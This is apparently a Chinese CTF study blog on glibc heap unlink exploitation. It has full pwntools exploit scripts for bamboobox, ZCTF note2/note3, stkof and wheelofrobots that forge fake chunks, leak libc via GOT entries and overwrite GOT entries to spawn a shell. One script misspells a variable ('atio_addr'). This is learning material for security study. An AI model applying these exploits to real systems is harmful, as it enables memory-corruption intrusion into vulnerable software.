unlink

把ctf wiki里的unlink题简单的做了一下
先简单的记录一下,以后吃透了再回来好好的填填坑

理解了一下unlink的操作
就是构造一个chunk,例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x1302000:	0x0000000000000000	0x0000000000000051
0x1302010: 0x0000000000000000 0x0000000000000040 #fack_chunk(构造成一个free掉的样子) 0x51的chunk,就在他下面构造一个刚好可以填满这个chunk的new chunk,即-0x11
0x1302020: 0x00000000006030d0 0x00000000006030d8
0x1302030: 0x6161616161616161 0x6161616161616161
0x1302040: 0x6161616161616161 0x6161616161616161
0x1302050: 0x0000000000000040 0x00000000000000a0 #p位改成0,free下一个chunk之后会与上一个chunk合并
0x1302060: 0x654420746f626f52 0x00000000006c6976
0x1302070: 0x0000000000000000 0x0000000000000000
0x1302080: 0x0000000000000000 0x0000000000000000
0x1302090: 0x0000000000000000 0x0000000000000000
0x13020a0: 0x0000000000000000 0x0000000000000000
0x13020b0: 0x0000000000000000 0x0000000000000000
0x13020c0: 0x0000000000000000 0x0000000000000000
0x13020d0: 0x0000000000000000 0x0000000000000000
0x13020e0: 0x0000000000000000 0x0000000000000000
0x13020f0: 0x0000000000000000 0x0000000000020f11

Hitcon-training lab11 bamboobox

unlink的很重要一个条件就是已知存储各个堆块地址的位置。

unlink操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0x80,'aaaaaa') #chunk0
add(0x80,'bbbbbb') #chunk1
add(0x80,'cccccc') #chunk2


target = 0x6020c8
fd = target - 0x18
bk = target - 0x10

# fack chunk(构造成被free掉的样子
pay = p64(0) + p64(0x81)
pay += p64(fd)
pay += p64(bk)
pay += 'a'*0x60
pay += p64(0x80)+p64(0x90)
# gdb.attach(r)
modify(0,0x90,pay)
remove(1) #free chunk1,使chunk1往前合并,触发unlink

则chunk0就变成了发错fack_chunk里面的fd和bk,所指向的target
改target的内容为我们想覆写的一个got表地址,这样show的时候也可以leak出libc来

1
2
3
4
5
6
7
8
9
10
11
payload = '\x00'*0x10+ p64(0x80) + p64(0x602068) #把atoi的got表地址覆写成chunk0里面
modify(0,0x60,payload)
show()
r.recvuntil("0 : ")
atoi_addr = u64(r.recv(6).ljust(8,"\x00"))
print hex(atio_addr)
libc_base=atoi_addr-0x36E80
print hex(libc_base)
one_gadget = libc_base + 0xf02a4

modify(0,0x8,p64(one_gadget)) #把atoi got表里的内容改为one gadget

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level ='DEBUG'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
r=process('./bamboobox')
elf=ELF('./bamboobox')

# r = remote(host,port)

def add(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil("Please enter the length of item name:")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def modify(idx,length,name):
r.recvuntil("Your choice:")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil("Please enter the index of item:")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")


add(0x80,'aaaaaa')
add(0x80,'bbbbbb')
add(0x80,'cccccc')


target = 0x6020c8
fd = target - 0x18
bk = target - 0x10

# pay ='a'*0x10
pay = p64(0) + p64(0x81)
pay += p64(fd)
pay += p64(bk)
pay += 'a'*0x60
pay += p64(0x80)+p64(0x90)
# gdb.attach(r)
modify(0,0x90,pay)
remove(1)

payload = '\x00'*0x10+ p64(0x80) + p64(0x602068)

modify(0,0x60,payload)
show()
# r.recv()
r.recvuntil("0 : ")
atoi_addr = u64(r.recv(6).ljust(8,"\x00"))

print hex(atoi_addr)

libc_base=atio_addr-0x36E80
print hex(libc_base)

one_gadget = libc_base + 0xf02a4
system = libc_base + 0x45390
# r.recv()
# modify(0,0x8,p64(system))
modify(0,0x8,p64(one_gadget))
# r.recvuntil(":")
# r.sendline("$0")

r.interactive()

2016 ZCTF note2

unlink来说就是构造一个fack_chunk(为free完的样子)如果可以overlap的话,直接写在下一个chunk的top,size的p位为0,如果不可以的overlap的话,就是这题一样,利用两个chunk来构造一个fack_chunk,free掉fack_chunk后面那个chunk,使之合并,触发unlink。

和lab11差不多的方法

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level ='DEBUG'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process('./note2')
elf = ELF('./note2')

def add(length, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content)


def show(id):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(id))


def edit(id, choice, s):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s)


def free(id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(id))

p.recvuntil("Input your name:\n")
p.sendline("aaaa")
p.recvuntil("Input your address:\n")
p.sendline("bbbb")

target = 0x602120#prt
fd = target - 0x18
bk = target -0x10

payload = p64(0)+p64(0x60)
payload += p64(fd)+p64(bk)
payload += 'a'*0x20

add(0x40,payload)#0
add(0,'bbbb')#1
add(0x80,'cccc')#2

free(1)

gdb.attach(p)
payload1='a'*0x10
payload1+=p64(0x60)+p64(0x90)
add(0,payload1)#1
free(2)

atoi=elf.got['atoi']
payload2 ='a'*0x18+p64(atoi)#prt-0x18 start
edit(0,1,payload2)#0

show(0)
p.recvuntil('is ')
atoi_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\00"))
offset_addr=atoi_addr-libc.sym['atoi']
print hex(offset_addr)
print hex(atoi_addr)
one_gadget=offset_addr+0xf1147

edit(0,1,p64(one_gadget))
p.sendline('\n')

p.interactive()

2016 zctf note3

和note2比,它就少了个show,但是我们可以利用puts函数来leak
就有就往fack_chunk里面写入free和puts两个函数的got值的操作,leak puts

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level ='DEBUG'
sh=process('./note3')
# sh=remote('127.0.0.1',9999)
elf=ELF('./note3')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size,content):
sh.recvuntil('>>\n')
sh.sendline('1')
sh.recvuntil('1024)\n')
sh.sendline(str(size))
sh.recvuntil('content:\n')
sh.sendline(content)

def edit(index,content):
sh.recvuntil('>>\n')
sh.sendline('3')
sh.recvuntil('note:\n')
sh.sendline(str(index))
sh.recvuntil('ent:\n')
sh.sendline(content)

def delete(index):
sh.recvuntil('>>\n')
sh.sendline('4')
sh.recvuntil('note:\n')
sh.sendline(str(index))


target = 0x6020c8#prt
fd = target - 0x18
bk = target -0x10

payload = p64(0)+p64(0x60)
payload += p64(fd)+p64(bk)
payload += 'a'*0x20

add(0x40,payload)#0
add(0,'bbbb')#1
add(0x80,'cccc')#2

delete(1)

# gdb.attach(sh)
payload1='a'*0x10
payload1+=p64(0x60)+p64(0x90)
add(0,payload1)#1
delete(2)

free=elf.got['free']
put_gots = elf.got['puts']
payload2 ='a'*0x18 + p64(free) + p64(put_gots)#prt-0x18 start
edit(0,payload2)#0
puts_plt = elf.sym['puts']
edit(0,p64(puts_plt)[:-1]) # 解决了只能包含“\n”只能发送八个字节的问题
delete(1)

puts_addr = u64(sh.recvuntil("\nDelete success\n",drop=True).ljust(8,"\00"))
print hex(puts_addr)
libc_base = puts_addr - libc.sym['puts']
print hex(libc_base)

one_gadget = libc_base + 0xf1147

edit(0,p64(one_gadget)[:-1])
gdb.attach(sh)
# add(0x88,'aaaa')
delete(0)
sh.interactive()

另一种方法,是用了edit里面id的整数溢出,用复数使chunk可以直接overlap
然后改free的got为system(这个是把chunk0覆写成free got的地址,再edit一次0,就可以写system写进got表),再把binsh的地址写在原本是chunk0地址的地方,free的时候,拿chunk0当参数就可以实现system(‘/bin/sh’)(one_gadget其实更方便一点)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level ='DEBUG'
sh=process('./note3')
# sh=remote('127.0.0.1',9999)
elf=ELF('./note3')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def newnote(size,content):
sh.recvuntil('>>\n')
sh.sendline('1')
sh.recvuntil('1024)\n')
sh.sendline(str(size))
sh.recvuntil('content:\n')
sh.sendline(content)

def editnote(index,content):
sh.recvuntil('>>\n')
sh.sendline('3')
sh.recvuntil('note:\n')
sh.sendline(str(index))
sh.recvuntil('ent:\n')
sh.sendline(content)

def delnote(index):
sh.recvuntil('>>\n')
sh.sendline('4')
sh.recvuntil('note:\n')
sh.sendline(str(index))

newnote(0x80,'aaaaaa')
newnote(0x80,'aaaaaa')
newnote(0x80,'aaaaaa')
newnote(0x80,'aaaaaa')
newnote(0x80,'aaaaaa')
newnote(0x80,'aaaaaa')
newnote(0x80,'/bin/sh')

inter=-9223372036854775808
payload=p64(0)
payload+=p64(0x81)
payload+=p64(0x6020e0-0x18)
payload+=p64(0x6020e0-0x10)
payload=payload.ljust(0x80,'a')
payload+=p64(0x80)
payload+=p64(0x90)

gdb.attach(sh)

editnote(3,'a')
editnote(inter,payload) #editnote(-1,payload) 此時size為note6地址 改的是chunk3
delnote(4)

free_got=elf.got['free']
puts_plt=elf.plt['puts']
atol_got=elf.got['atol']
puts_got=elf.got['puts']

editnote(3,p64(free_got)+p64(puts_got))
editnote(0,p64(puts_plt)[:-1])
delnote(1)
puts_adr=sh.recvuntil('\nDelete success\n',drop=True).ljust(8,'\x00')
puts_adr=u64(puts_adr)
print 'puts_adr: '+hex(puts_adr)

libc_base=puts_adr-libc.symbols['puts']
sys_adr=libc_base+libc.symbols['system']
binsh_adr=libc_base+libc.search('/bin/sh').next()
print 'libc_base: '+hex(libc_base)
print 'sys_adr: '+hex(sys_adr)
print 'binsh_adr: '+hex(binsh_adr)
editnote(0,p64(sys_adr)[:-1])
editnote(3,p64(binsh_adr)[:-1]) #作为chunk0,即free的参数
delnote(0)
sh.interactive()

学到的新技能

1
p64(puts_plt)[:-1]  # 解决了只能包含“\n”只能发送八个字节的问题

2014 hitcon stkof

这题我一直绕的点在,target为什么要是chunk0+0x10,即chunk2的位置
在测试中,我们可以发现其实chunk1和chunk2之间是隔了0x400的,但chunk2和chunk3是相邻的
我们需要在chunk2中操作unlink,所以我们需要是 chunk2 -->fack_chunk(chunk2-0x18),所以target改为chunk2地址所在的位置(在何位置构造,指针则指向哪里)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import*

context.log_level ='DEBUG'

sh = process("./stkof")
elf = ELF("./stkof")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size):
sh.sendline("1")
sh.sendline(str(size))
sh.recvuntil("OK\n")

def delete(idx):
sh.sendline("3")
sh.sendline(str(idx))

def edit(idx,strings):
sh.sendline("2")
sh.sendline(str(idx))
sh.sendline(str(len(strings)))
sh.send(strings)
sh.recvuntil("OK\n")

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.sym['puts']


add(0x80) #1
add(0x80) #2
add(0x80) #3

target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

payload = p64(0)+p64(0x81)
payload += p64(fd) +p64(bk)
payload += 'a'*0x60
payload += p64(0x80)+p64(0x90)
gdb.attach(sh)
edit(2,payload) #在chunk2的地方修改,则要使fack指向全局指针存放chunk2处的地址,而非chunk0
delete(3)

sh.recvuntil("OK")
payload = 'a'*0x8 + p64(free_got) + p64(puts_got)

edit(2,payload)
edit(0,p64(puts_plt))

delete(1)
puts_addr = u64(sh.recvuntil('\nOK\n', drop=True).ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']

print hex(puts_addr)
print hex(libc_base)


onegadget = libc_base + 0xf1147

edit(0,p64(onegadget))
delete(0)

sh.interactive()

2017 wheelofrobots

这道题太混乱了,好复杂的一个程序啊,我看了老半天才稍微看懂这个程序是干嘛的

洞的话第一个应该是add里面choose之后输入那里

off by one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
sub_400D83("Which robot do you want to add to the wheel?");
printf("Your choice :");
memset(&unk_603110, 0, 4uLL);
v10 = sub_400A36(&unk_603110, 5LL); //可以多一个字节溢出,覆盖的地址在0x603114的内容

0x603114刚好是存放第二个robot状态的地址
case 2:
if ( !dword_603114 )
{
printf("Increase Bender's intelligence: ", 5LL);
memset(&s, 0, 5uLL);
v8 = sub_400A36(&s, 5LL);
if ( v8 > 4 )
{
puts("Sorry impossible to make bender as smart!");
v8 = 2;
}
qword_6030F0 = calloc(1uLL, 20 * v8);
qword_603138 = v8;
dword_603114 = 1;
v1 = qword_6030F0;
*(_DWORD *)qword_6030F0 = 'dneB';
v1[2] = 're';
*((_BYTE *)v1 + 6) = 0;
++qword_603130;
}
break;

我们可以通过更改bender的状态做到不add直接change
然后我们可以发现这几个robots之间错综复杂的关系,就可以构造face_chunk,实现unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 1u:
result = (unsigned int)dword_603120;
if ( dword_603120 )
{
puts("Robot's name: ");
result = read(0, buf, 0x14uLL);
}
break;

.bss:00000000006030F8 ; void *buf
.bss:00000000006030F8 buf dq ? ; DATA XREF: sub_400DF8+A6↑w
.bss:00000000006030F8 ; sub_400DF8+B7↑r ...


case 6u:
result = (unsigned int)dword_60311C;
if ( dword_60311C )
{
puts("Robot's name: ");
result = read(0, qword_6030E8, 20 * qword_603148);
}
break;

我们知道如果在tinny处改size就可以覆盖destruction的内容,构造unlink,先在bss段构造fack_chunk,使原本指向tinny,即chunk1的指针,指向0x603148处,之后对chunk1的所有操作都在这个地址处

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/40gx 0x6030e0
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000001021010 0x0000000000603148 ->tinny point to 0x603148
0x603100: 0x0000000001021030 0x0000000000000000
0x603110: 0x0000000100000a31 0x0000000000000000
0x603120: 0x0000000100000001 0x0000000000000000
0x603130: 0x0000000000000003 0x0000000000000001
0x603140: 0x0000000000000020 -> fack_chunk 0x695420796e6e6954
0x603150: 0x000000000000006d 0x0000000000000000
0x603160: 0x0000000000000000 0x0000000000000000
0x603170: 0x0000000000000000 0x0000000000000000

利用chunk1和chunk6的关系,在chunk6上构造unlink,使unlink到0x6030e8-0x18处,就可以覆写该存放chunk地址为自己想改写的东西。

wiki具体exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./wheelofrobots"
robots = ELF('./wheelofrobots')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./wheelofrobots")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
context.log_level = 'debug'


def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset


def add(idx, size=0):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.sendline(str(idx))
if idx == 2:
p.recvuntil("Increase Bender's intelligence: ")
p.sendline(str(size))
elif idx == 3:
p.recvuntil("Increase Robot Devil's cruelty: ")
p.sendline(str(size))
elif idx == 6:
p.recvuntil("Increase Destructor's powerful: ")
p.sendline(str(size))


def remove(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Your choice :')
p.sendline(str(idx))


def change(idx, name):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Your choice :')
p.sendline(str(idx))
p.recvuntil("Robot's name: \n")
p.send(name)


def start_robot():
p.recvuntil('Your choice :')
p.sendline('4')


def overflow_benderinuse(inuse):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.send('9999' + inuse)


def write(where, what):
change(1, p64(where))
change(6, p64(what))


def exp():
print "step 1"
# add a fastbin chunk 0x20 and free it
# so it is in fastbin, idx2->NULL
add(2, 1) # idx2
remove(2)
gdb.attach(p)
# overflow bender inuse with 1
overflow_benderinuse('\x01')
# change bender's fd to 0x603138, point to bender's size
# now fastbin 0x20, idx2->0x603138->NULL
change(2, p64(0x603138))
# in order add bender again
overflow_benderinuse('\x00')
# add bender again, fastbin 0x603138->NULL
add(2, 1)
# in order to malloc chunk at 0x603138
# we need to bypass the fastbin size check, i.e. set *0x603140=0x20
# it is at Robot Devil
add(3, 0x20) #构造个size,使add tinny的时候指向0x603148,同时把它写进0x3060f8
# trigger malloc, set tinny point to 0x603148
add(1)
# wheels must <= 3
remove(2)
remove(3)

print 'step 2'
# alloc Destructor size 60->0x50, chunk content 0x40
add(6, 3)
# alloc devil, size=20*7=140, bigger than fastbin
add(3, 7)
# edit destructor's size to 1000 by tinny
change(1, p64(1000))
# place fake chunk at destructor's pointer
fakechunk_addr = 0x6030E8
fakechunk = p64(0) + p64(0x20) + p64(fakechunk_addr - 0x18) + p64(fakechunk_addr - 0x10) + p64(0x20)
fakechunk = fakechunk.ljust(0x40, 'a')
fakechunk += p64(0x40) + p64(0xa0)
change(6, fakechunk) #写在heap里
# trigger unlink
remove(3)

print 'step 3'
# make 0x6030F8 point to 0x6030E8
payload = p64(0) * 2 + 0x18 * 'a' + p64(0x6030E8)
change(6, payload)

print 'step 4'
# make exit just as return
write(robots.got['exit'], 0x401954)

print 'step 5'
# set wheel cnt =3, 0x603130 in order to start robot
write(0x603130, 3)
# set destructor point to puts@got
change(1, p64(robots.got['puts']))
start_robot() #start chunk1,即puts
p.recvuntil('New hands great!! Thx ')
puts_addr = p.recvuntil('!\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc base: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))

# make free->system
write(robots.got['free'], system_addr)
# make destructor point to /bin/sh addr
write(0x6030E8, binsh_addr)
# get shell
remove(6)
p.interactive()

pass


if __name__ == "__main__":
exp()

emmm这种方法在start robots那里我就很懵,简便一点的话就换一种方法来leak,直接覆写chunk1和chunk2,通过改free的got表来实现
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import*

context.log_level ='DEBUG'
elf = ELF('./wheelofrobots')
p = process("./wheelofrobots")
libc = ELF('./libc.so.6')

def add(idx, size=0):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.sendline(str(idx))
if idx == 2:
p.recvuntil("Increase Bender's intelligence: ")
p.sendline(str(size))
elif idx == 3:
p.recvuntil("Increase Robot Devil's cruelty: ")
p.sendline(str(size))
elif idx == 6:
p.recvuntil("Increase Destructor's powerful: ")
p.sendline(str(size))


def remove(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Your choice :')
p.sendline(str(idx))


def change(idx, name):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Your choice :')
p.sendline(str(idx))
p.recvuntil("Robot's name: \n")
p.send(name)


def start_robot():
p.recvuntil('Your choice :')
p.sendline('4')


def overflow_benderinuse(inuse):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Your choice :')
p.send('9999' + inuse)


def write(where, what):
change(1, p64(where))
change(6, p64(what))



add(2,1)
remove(2)
overflow_benderinuse('\x01')
change(2,p64(0x603138))
overflow_benderinuse('\x00')
add(2,1)
add(3,0x20)
add(1)
remove(2)
remove(3)

add(6,3) #60->0x40
add(3,7) #140->0x90
change(1,p64(1000)) #改大小方便填写payload
target = 0x6030e8
fd = target-0x18
bk = target-0x10
pay = p64(0)+p64(0x40)+p64(fd) + p64(bk) +'a'*0x20+p64(0x40)+p64(0xa0)

change(6,pay)
remove(3) #unlink
# gdb.attach(p)
add(2,1)
pay = 'a'*0x18 +p64(elf.got['free'])+p64(elf.got['puts'])
change(6,pay)
pay = p64(elf.plt['puts'])
change(6,pay)
remove(2)
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc_base = puts_addr - libc.sym['puts']
print hex(libc_base)

system = libc_base + libc.sym['system']
change(6,p64(system))
change(1,"/bin/sh")
p.interactive()

参考链接:
https://www.jianshu.com/p/b5ce1e4aee6a
https://gdufs-king.github.io/2020/01/03/unlink%E5%88%9D%E6%8E%A2/